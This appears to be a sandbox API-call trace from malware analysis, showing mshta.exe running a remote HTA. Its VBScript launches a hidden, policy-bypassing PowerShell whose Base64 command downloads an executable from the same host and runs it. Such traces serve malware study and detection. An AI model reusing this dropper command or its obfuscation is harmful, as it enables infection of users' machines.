Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3bf1d0 | out: ppv=0x3bf1d0*=0x7a73c0) returned 0x0 [0045.681] IUnknown:Release (This=0x7a73c0) returned 0x1 [0045.681] ISystemDebugEventFire:IsActive (This=0x7f9218) returned 0x1 [0045.681] CoGetObjectContext (in: riid=0x73bd0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3bf1cc | out: ppv=0x3bf1cc*=0x7a73c0) returned 0x0 [0045.681] IUnknown:Release (This=0x7a73c0) returned 0x1 [0045.683] GetCurrentThreadId () returned 0x9c4 [0045.683] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.683] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.684] GetCurrentThreadId () returned 0x9c4 [0045.684] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.686] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.686] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.686] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.686] IsCharSpaceW (wch=0x77) returned 0 [0045.686] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.686] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.686] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.686] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.689] GetProcAddress (hModule=0x76910000, lpProcName=0x1a) returned 0x7692e9b7 [0045.689] SafeArrayPutElement (psa=0x812008, rgIndices=0x3beb3c, pv=0x3bedb8) returned 0x0 [0045.690] GetProcAddress (hModule=0x76910000, lpProcName=0x11) returned 0x7692e1b6 [0045.690] SafeArrayGetDim (psa=0x812008) returned 0x1 [0045.691] ParseURLW (in: pcszURL="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", ppu=0x3be854 | out: ppu=0x3be854) returned 0x0 [0045.691] CreateUri (in: pwzURI="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x3beadc | out: ppURI=0x3beadc*=0x7ac484) returned 0x0 [0045.691] IUnknown:Release (This=0x7ac484) returned 0x12 [0045.691] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bea60 | out: phkResult=0x3bea60*=0x488) returned 0x0 [0045.692] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3bea64 | out: phkResult=0x3bea64*=0x48c) returned 0x0 [0045.692] RegOpenKeyExW (in: hKey=0x48c, lpSubKey="FEATURE_ACTIVEX_INACTIVATE_MODE_REMOVAL_REVERT", ulOptions=0x0, samDesired=0x1, phkResult=0x3bea20 | out: phkResult=0x3bea20*=0x0) returned 0x2 [0045.692] RegOpenKeyExW (in: hKey=0x488, lpSubKey="FEATURE_ACTIVEX_INACTIVATE_MODE_REMOVAL_REVERT", ulOptions=0x0, samDesired=0x1, phkResult=0x3bea20 | out: phkResult=0x3bea20*=0x0) returned 0x2 [0045.692] RegCloseKey (hKey=0x0) returned 0x6 [0045.692] RegCloseKey (hKey=0x0) returned 0x6 [0045.692] RegCloseKey (hKey=0x488) returned 0x0 [0045.692] RegCloseKey (hKey=0x48c) returned 0x0 [0045.692] GetProcAddress (hModule=0x76910000, lpProcName=0x19) returned 0x7692ea56 [0045.692] SafeArrayGetElement (in: psa=0x812008, rgIndices=0x3beb18, pv=0x3beb28 | out: pv=0x3beb28) returned 0x0 [0045.693] GetCurrentThreadId () returned 0x9c4 [0045.694] StrCmpICW (pszStr1="x-ua-compatible", pszStr2="PICS-Label") returned 8 [0045.694] StrCmpICW (pszStr1="x-ua-compatible", pszStr2="Refresh") returned 6 [0045.694] StrCmpICW (pszStr1="x-ua-compatible", pszStr2="Pragma") returned 8 [0045.694] StrCmpICW (pszStr1="x-ua-compatible", pszStr2="ImageToolbar") returned 15 [0045.694] StrCmpICW (pszStr1="x-ua-compatible", pszStr2="content-language") returned 21 [0045.694] StrCmpICW (pszStr1="x-ua-compatible", pszStr2="Expires") returned 19 [0045.695] ParseURLW (in: pcszURL="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", ppu=0x3be8b0 | out: ppu=0x3be8b0) returned 0x0 [0045.695] IUnknown:AddRef (This=0x7ac484) returned 0x13 [0045.695] IInternetSecurityManager:MapUrlToZone (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pdwZone=0x3be854, dwFlags=0x0 | out: pdwZone=0x3be854*=0xffffffff) returned 0x800c0011 [0045.695] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.695] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.695] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0045.695] IInternetSecurityManager:ProcessUrlAction (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwAction=0x1400, pPolicy=0x3be858, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x3be858*=0x0) returned 0x0 [0045.695] IUnknown:Release (This=0x7ac484) returned 0x12 [0045.695] ParseURLW (in: pcszURL="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", ppu=0x3be86c | out: ppu=0x3be86c) returned 0x0 [0045.695] IUnknown:AddRef (This=0x7ac484) returned 0x13 [0045.695] IInternetSecurityManager:MapUrlToZone (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pdwZone=0x3be80c, dwFlags=0x0 | out: pdwZone=0x3be80c*=0xffffffff) returned 0x800c0011 [0045.695] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.695] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.695] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0045.695] IInternetSecurityManager:ProcessUrlAction (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwAction=0x1400, pPolicy=0x3be810, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x3be810*=0x0) returned 0x0 [0045.695] IUnknown:Release (This=0x7ac484) returned 0x12 [0045.696] ParseURLW (in: pcszURL="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", ppu=0x3be7fc | out: ppu=0x3be7fc) returned 0x0 [0045.696] IUnknown:AddRef (This=0x7ac484) returned 0x13 [0045.696] IInternetSecurityManager:MapUrlToZone (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pdwZone=0x3be79c, dwFlags=0x0 | out: pdwZone=0x3be79c*=0xffffffff) returned 0x800c0011 [0045.696] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.696] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.696] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0045.696] IInternetSecurityManager:ProcessUrlAction (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwAction=0x1400, pPolicy=0x3be7a0, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x3be7a0*=0x0) returned 0x0 [0045.696] IUnknown:Release (This=0x7ac484) returned 0x12 [0045.696] FaultInIEFeature (in: hWnd=0x30228, pClassSpec=0x3be7c8, pQuery=0x0, dwFlags=0x0 | out: pQuery=0x0) returned 0x1 [0045.696] CoCreateInstance (in: rclsid=0x3be7ec*(Data1=0xb54f3741, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6f7f95b4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppv=0x3be7a8 | out: ppv=0x3be7a8*=0x2cbb6d0) returned 0x0 [0045.753] __dllonexit () returned 0x74e17164 [0045.753] __dllonexit () returned 0x74e1717e [0045.753] __dllonexit () returned 0x74e17198 [0045.753] GetUserDefaultLCID () returned 0x409 [0045.753] GetVersion () returned 0x1db10106 [0045.753] DllGetClassObject (in: rclsid=0x7b31ac*(Data1=0xb54f3741, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), riid=0x76d7ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3bda74 | out: ppv=0x3bda74*=0x2cb2a20) returned 0x0 [0045.754] VBScriptEngine5:IClassFactory:CreateInstance (This=0x2cb2a20, pUnkOuter=0x0, riid=0x3be420*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x3bda60) [0045.754] GetUserDefaultLCID () returned 0x409 [0045.754] GetACP () returned 0x4e4 [0045.754] IUnknown:AddRef (This=0x7ac484) returned 0x13 [0045.754] IInternetSecurityManager:MapUrlToZone (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", pdwZone=0x3be6bc, dwFlags=0x0 | out: pdwZone=0x3be6bc*=0xffffffff) returned 0x800c0011 [0045.755] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.755] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0045.755] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0045.755] IInternetSecurityManager:ProcessUrlAction (in: This=0x6fbd96bc, pwszUrl="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", dwAction=0x1401, pPolicy=0x3be6c0, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x3be6c0*=0x0) returned 0x0 [0045.755] IUnknown:Release (This=0x7ac484) returned 0x12 [0045.756] GetCurrentThreadId () returned 0x9c4 [0045.756] GetCurrentThreadId () returned 0x9c4 [0045.756] GetCurrentThreadId () returned 0x9c4 [0045.756] GetCurrentThreadId () returned 0x9c4 [0045.756] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0045.756] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x3be5f4, cchData=6 | out: lpLCData="1252") returned 5 [0045.756] IsValidCodePage (CodePage=0x4e4) returned 1 [0045.756] CoCreateInstance (in: rclsid=0x74e0b234*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x74e0b244*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x2cbb8ac | out: ppv=0x2cbb8ac*=0x7f93c8) returned 0x0 [0045.756] IUnknown:AddRef (This=0x7f93c8) returned 0x2 [0045.756] GetCurrentProcessId () returned 0x9c0 [0045.756] GetCurrentThreadId () returned 0x9c4 [0045.756] GetTickCount () returned 0x13561 [0045.756] ISystemDebugEventFire:BeginSession (This=0x7f93c8, guidSourceID=0x74e0b308, strSessionName="VBScript:00002496:00002500:18079201") returned 0x0 [0045.756] GetCurrentThreadId () returned 0x9c4 [0045.756] GetCurrentThreadId () returned 0x9c4 [0045.757] GetCurrentThreadId () returned 0x9c4 [0045.757] StrCmpICW (pszStr1="window", pszStr2="window") returned 0 [0045.757] GetCurrentThreadId () returned 0x9c4 [0045.758] StrCmpIW (psz1="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta", psz2="http://w-szczecin.pl/img2/NEW15_10.doc/index.hta") returned 0 [0045.758] GetCurrentThreadId () returned 0x9c4 [0045.758] _wcsicmp (_String1="window", _String2="window") returned 0 [0045.758] _wcsicmp (_String1="", _String2="") returned 0 [0045.758] SysStringLen (param_1="\nDim ANDRZEJHD91 : Dim jjjj : SeT ANDRZEJHD91 = createobject ( \"wscrIPt.sHELl\" ) : jjjj = \" powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA \" : ANDRZEJHD91.RUN CHr ( 34 ) & ANDRZEJHD91.eXPanDenVIroNmEntsTRiNGS( \"%COMSpEC%\" ) & cHR ( 34 ) & CHr ( 34 ) & \"/c \" & jjjj & chr ( 34 ) , 0 : SEt ANDRZEJHD91 = NOTHInG\n") returned 0x3ac [0045.759] ISystemDebugEventFire:IsActive (This=0x7f93c8) returned 0x1 [0045.759] GetCurrentThreadId () returned 0x9c4 [0045.760] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.760] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.760] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.760] IsCharSpaceW (wch=0x41) returned 0 [0045.760] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.760] IsCharSpaceW (wch=0x41) returned 0 [0045.760] GetCurrentThreadId () returned 0x9c4 [0045.760] GetCurrentThreadId () returned 0x9c4 [0045.760] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.760] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.760] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.761] IsCharSpaceW (wch=0x6a) returned 0 [0045.761] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0045.761] IsCharSpaceW (wch=0x6a) returned 0 [0045.761] CLSIDFromProgIDEx (in: lpszProgID="wscrIPt.sHELl", lpclsid=0x3be3fc | out: lpclsid=0x3be3fc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0045.763] SysStringLen (param_1=0x0) returned 0x0 [0045.764] GetProcAddress (hModule=0x76d30000, lpProcName="CoGetClassObject") returned 0x76d654ad [0045.764] CoGetClassObject (in: rclsid=0x3be3fc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x74e04174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3be3ec | out: ppv=0x3be3ec*=0x2cbc468) returned 0x0 [0045.866] __dllonexit () returned 0x73b7160a [0045.866] __dllonexit () returned 0x73b71624 [0045.866] __dllonexit () returned 0x73b7163e [0045.866] __dllonexit () returned 0x73b716e6 [0045.866] GetUserDefaultLCID () returned 0x409 [0045.866] GetVersion () returned 0x1db10106 [0045.866] GetVersionExA (in: lpVersionInformation=0x3bcff4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x3bcfe4, dwMinorVersion=0x2, dwBuildNumber=0x3c0000, dwPlatformId=0x73b71cd4, szCSDVersion="\x14Ð;") | out: lpVersionInformation=0x3bcff4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0045.866] GetTickCount () returned 0x135ce [0045.866] srand (_Seed=0x113de4e) [0045.867] GetVersionExA (in: lpVersionInformation=0x3bcfd4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x2, dwMinorVersion=0x80, dwBuildNumber=0x778ce026, dwPlatformId=0x755af761, szCSDVersion="\x8cÐ;") | out: lpVersionInformation=0x3bcfd4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0045.867] GetUserDefaultLCID () returned 0x409 [0045.867] DllGetClassObject (in: rclsid=0x7b31e0*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), riid=0x3be0a0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3bd758 | out: ppv=0x3bd758*=0x2cbc468) returned 0x0 [0045.867] WshShell:IUnknown:AddRef (This=0x2cbc468) returned 0x2 [0045.867] WshShell:IUnknown:Release (This=0x2cbc468) returned 0x1 [0045.867] WshShell:IUnknown:QueryInterface (in: This=0x2cbc468, riid=0x74e04174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3be318 | out: ppvObject=0x3be318*=0x2cbc468) returned 0x0 [0045.867] WshShell:IUnknown:Release (This=0x2cbc468) returned 0x1 [0045.867] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x3be274, nSize=0x105 | out: lpFilename="C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe" (normalized: "c:\\windows\\system32\\mshta.exe")) returned 0x4e [0045.867] lstrlenA (lpString="\\wscript.exe") returned 12 [0045.867] lstrlenA (lpString="C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe") returned 78 [0045.867] _strcmpi (_Str1="32\\mshta.exe", _Str2="\\wscript.exe") returned -1 [0045.868] _strcmpi (_Str1="32\\mshta.exe", _Str2="\\cscript.exe") returned -1 [0045.868] LoadRegTypeLib (in: rguid=0x74dd14bc*(Data1=0xf935dc20, Data2=0x1cf0, Data3=0x11d0, Data4=([0]=0xad, [1]=0xb9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0x8a, [7]=0xb)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x3be3d8*=0x0 | out: pptlib=0x3be3d8*=0x7dcdb8) returned 0x0 [0045.877] ITypeLib:GetTypeInfoOfGuid (in: This=0x7dcdb8, GUID=0x74dd14cc, ppTInfo=0x3be3bc | out: ppTInfo=0x3be3bc*=0x817fac) returned 0x0 [0045.877] ITypeInfo:GetRefTypeOfImplType (in: This=0x817fac, index=0xffffffff, pRefType=0x3be3b0 | out: pRefType=0x3be3b0*=0xfffffffe) returned 0x0 [0045.877] ITypeInfo:GetRefTypeInfo (in: This=0x817fac, hreftype=0xfffffffe, ppTInfo=0x74de501c | out: ppTInfo=0x74de501c*=0x817fd8) returned 0x0 [0045.877] IUnknown:Release (This=0x817fac) returned 0x1 [0045.877] IUnknown:Release (This=0x7dcdb8) returned 0x1 [0045.877] IUnknown:AddRef (This=0x817fd8) returned 0x2 [0045.877] ITypeInfo:LocalGetIDsOfNames (This=0x817fd8) returned 0x0 [0045.877] IUnknown:Release (This=0x817fd8) returned 0x1 [0045.877] IUnknown:AddRef (This=0x817fd8) returned 0x2 [0045.877] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.877] ITypeInfo:LocalInvoke (This=0x817fd8) returned 0x0 [0045.877] ExpandEnvironmentStringsW (in: lpSrc="%COMSpEC%", lpDst=0x3bd89c, nSize=0x400 | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0045.878] IUnknown:Release (This=0x817fd8) returned 0x1 [0045.878] IUnknown:AddRef (This=0x817fd8) returned 0x2 [0045.878] ITypeInfo:LocalGetIDsOfNames (This=0x817fd8) returned 0x0 [0045.878] IUnknown:Release (This=0x817fd8) returned 0x1 [0045.879] IUnknown:AddRef (This=0x817fd8) returned 0x2 [0045.879] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0045.879] ITypeInfo:LocalInvoke (This=0x817fd8) returned 0x0 [0045.879] ExpandEnvironmentStringsW (in: lpSrc="\"C:\\Windows\\system32\\cmd.exe\"\"/c powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA \"", lpDst=0x3bd87c, nSize=0x400 | out: lpDst="\"C:\\Windows\\system32\\cmd.exe\"\"/c powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA \"") returned 0x2c9 [0045.879] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75650000 [0045.879] GetProcAddress (hModule=0x75650000, lpProcName="ShellExecuteExW") returned 0x75671e46 [0045.879] ShellExecuteExW (in: pExecInfo=0x3be048*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="C:\\Windows\\system32\\cmd.exe", lpParameters="\"/c powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA \"", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x3be048*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="C:\\Windows\\system32\\cmd.exe", lpParameters="\"/c powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA \"", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0045.881] GetWindowLongW (hWnd=0x30228, nIndex=-21) returned 8082040 [0045.881] SetTimer (hWnd=0x30228, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008 [0045.881] GetCurrentThreadId () returned 0x9c4 [0045.969] IUnknown:Release (This=0x817fd8) returned 0x1 [0045.969] IUnknown:Release (This=0x817fd8) returned 0x0 